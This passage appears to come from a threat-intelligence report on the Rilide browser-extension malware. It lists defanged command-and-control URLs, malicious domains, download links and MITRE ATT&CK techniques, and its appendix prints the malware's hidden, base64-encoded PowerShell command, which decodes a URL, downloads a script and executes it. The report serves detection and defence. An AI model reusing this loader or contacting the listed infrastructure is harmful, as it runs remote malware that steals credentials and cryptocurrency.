hxxps[://]bitcoinexplorer[.]org/api/address/bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066?limit=1

hxxps[://]api[.]blockcypher[.]com/v1/btc/main/addrs/bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/full?limit=1

hxxps[://]mempool[.]space/api/address/bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs

hxxps[://]api[.]bitcore[.]io/api/BTC/mainnet/address/bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs?limit=1

hxxps[://]mmemento-mori[.]com/api/machine/sign?d=mmemento-mori[.]com

hxxps[://]mmemento-mori[.]com/api/machine/init

hxxps[://]mmemento-mori[.]com/api/machine/injections?uuid=31d7f9d7-a0ea-46be-88b7-196bc3e2e5e1

hxxps[://]mmemento-mori[.]com/api/machine/commands?uuid=31d7f9d7-a0ea-46be-88b7-196bc3e2e5e1

hxxps[://]mmemento-mori[.]com/api/machine/settings

hxxps[://]mmemento-mori[.]com/api/machine/clipper

hxxps[://]mmemento-mori[.]com/api/machine/screenshot-rules

hxxps[://]mmemento-mori[.]com/api/machine/set-command

hxxps[://]tcl-black[.]com/1111[.]bs64

tcl-black[.]com

The table below contains a subset of additional Rilide network IoCs that have been added to the Pulsedive platform. This data can be queried in Pulsedive using the Explore query threat=Rilide and is available for export in multiple formats (CSV, STIX 2.1, JSON).

IOCs

ashgrrwt[.]click

nch-software[.]info

nvidia-graphics[.]top

vceilinichego[.]ru

45[.]15[.]156[.]210

web-lox[.]com

assets[.]bnbcoinstatic[.]com

proyectopatentadomxapostol[.]com

blackfox[.]lol

pupkalazalupka[.]com

extension-login[.]com

tes123123t[.]com

extensionsupdate[.]com

hxxps[:=//]download[.]hdoki[.]org/yzxdhdxsqkmvcayrtevs/RiotRevelry1[.]0[.]2[.]exe

hxxps[:=//]nch-software[.]info/1/2[.]exe

nightpredators[.]com

Rilide MITRE ATT&CK TTPs

Technique

Tactic

Collection

Clipboard data (T1115)

Email Collection (T1114)

Screen Capture (T1113)

Command and Control

Application Layer Protocol: Web Protocols (T1071.001)

Dynamic Resolution (T1568)

Web Service: Dead Drop Resolver (T1102.001)

Proxy: External Proxy (T1090.002)

Ingress Tool Transfer (T1105)

Credential Access

Clipboard data (T1115)

Steal Web Session Cookie (T1539)

Defense Evasion

Access Token Manipulation (T1134)

Deobfuscate/Decode Files or Information (T1140)

Masquerading (T1036)

Obfuscated Files or Information (T1027)

Process Injection (T1055)

Virtualization/Sandbox Evasion: User Activity Based Checks (T1497.002)

Discovery

System Information Discovery (T1082)

Virtualization/Sandbox Evasion: User Activity Based Checks (T1497.002)

Evasion

Masquerading (T1036)

Execution

Command and Scripting Interpreter: PowerShell (T1059.001)

Command and Scripting Interpreter: JavaScript (T1059.007)

User Execution: Malicious File (T1204.002)

Initial Access

Phishing (T1566)

Persistence

Boot or Logon Autostart Execution (T1547)

Browser Extensions (T1176)

Privilege Escalation

Access Token Manipulation (T1134)

Boot or Logon Autostart Execution (T1547)

Process Injection: Process Hollowing (T1055.012)

References

Appendix 1 - PowerShell Script

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -e JABsAFUAaABwAEoAIAA9ACAAKAAiAGsAcABDADMALwA3AFcATgAvAHEAQwBIAG8ANABiADIAcwBQAEAAdABnAHIAZgB3AHYALwArAFUAcgBaADYAbwBxAGYARwBJAGoANABlAGcAcgBMADcAeABsAEoAZQBIAHQALwBHAFcAdAA0AE8AWAArAC8AcwA9ACIAKQAKACQASABnAHcAcwBHACAAPQAgACQAbABVAGgAcABKAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIAAiAGEAIgApAAoAJABUAFcASgBYAFcAIAA9ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAZwB3AHMARwApACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8AIAAtAGIAeABvAHIAIAAxADkAOAB9AAoAJABaAEwAYgA4AHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAFQAVwBKAFgAVwApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIAAiAGEAIgApAAoAJABSAFUAdgBlAEsAIAA9ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFoATABiADgAcQApAAoAJABRAEsAOQB0AHQAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMwA3ACwAIAA0ADYALAAgADIAMAAxACwAIAAxADkAMgAsACAAMgAyADAAKQA7AAoAJABlAHkATQBUAEEAIAA9ACAAMAA7AAoAJABDAEoAQwAyAFcAIAA9ACAAJABSAFUAdgBlAEsAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAKACQAXwAgAC0AYgB4AG8AcgAgACQAUQBLADkAdAB0AFsAJABlAHkATQBUAEEAKwArAF0AOwAKAGkAZgAgACgAJABlAHkATQBUAEEAIAAtAGcAZQAgACQAUQBLADkAdAB0AC4ATABlAG4AZwB0AGgAKQAgAHsACgAkAGUAeQBNAFQAQQAgAD0AIAAwAAoAfQAKAH0ACgAKACQAeAByADAAVAB6AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7AAoAJABtAGQASwB5AEsAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAEMASgBDADIAVwApADsACgAkAHoATwBYADUAZwA9ACQAeAByADAAVAB6AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABtAGQASwB5AEsAKQA7AAoAJABVAGoAQwBmADAAIAA9ACAAJAB6AE8AWAA1AGcALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAbAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIAZAAiACkALgBSAGUAcABsAGEAYwBlACgAIgBgACIAIgAsACAAIgBUACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACcAIgAsACAAIgBIACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiADsAIgAsACAAIgBGACIAKQAKACQAeQBnAEQAOQBnACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABVAGoAQwBmADAAKQAKAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB5AGcARAA5AGcAKQAgAHwAIABpAGUAeAAKAA==